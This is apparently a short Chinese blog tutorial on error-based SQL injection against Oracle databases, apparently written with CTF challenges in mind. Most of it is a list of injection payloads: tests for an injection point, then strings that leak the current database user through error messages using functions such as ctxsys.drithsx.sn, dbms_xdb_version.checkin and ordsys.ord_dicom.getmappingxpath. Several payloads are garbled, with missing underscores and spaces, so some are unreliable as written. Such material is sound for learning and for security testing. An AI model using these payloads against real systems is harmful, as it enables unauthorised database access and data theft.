Oracle数据库注入之报错注入
报错注入属于SQL注入的一种,是利用数据库的某些机制来构造错误条件,使想要的信息出现在报错信息中。
不同类型的数据库,报错注入的方式也略有不同。
报错注入过程如下:
判断注入点
1 and (select count(*)from user_tables)>0- -
1 and (select count (*)from dual)>0 - -
利用ctxsys.drithsx.sn()函数查询关于主题(获取当前用户信息)的对应关键词时,报错信息会显示出第二个参数的结果:
-1 and 1=ctxsys.drithsx.sn(1,(select user from dual))- -
其他函数包括∶
dbms xdb version.checkin()
and(select dbms xdb version.checkin((select user from dual))from dual)is not null- -
bms xdb version.makeversioned()
and(select dbms_xdb_version.makeversioned((select user from dual))from dual)is not null- -
dbms_xdb_version.uncheckout()
and(select dbms_xdb_version.uncheckout((select user from dual))from dual)is not null- -
dbms_utility.sqlid_to_Sqlhash()
and(SELECT dbms_utility.sqlid to_sqlhash((select user from dual))from dual)isnotnull-- ordsys.ord_dicom.getmappingxpath()
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)- -
decode()
and 1=(select decode(substr(user,1,1),'S',(1/0),0)from dual)
使用SQL语句来爆出当前数据库用户的表信息,假如想爆Flag表下的列,也可以通过SQL语句来进行爆破。
上一篇: Oracle数据库注入之带外注入
下一篇: 网络攻击之PE病毒原理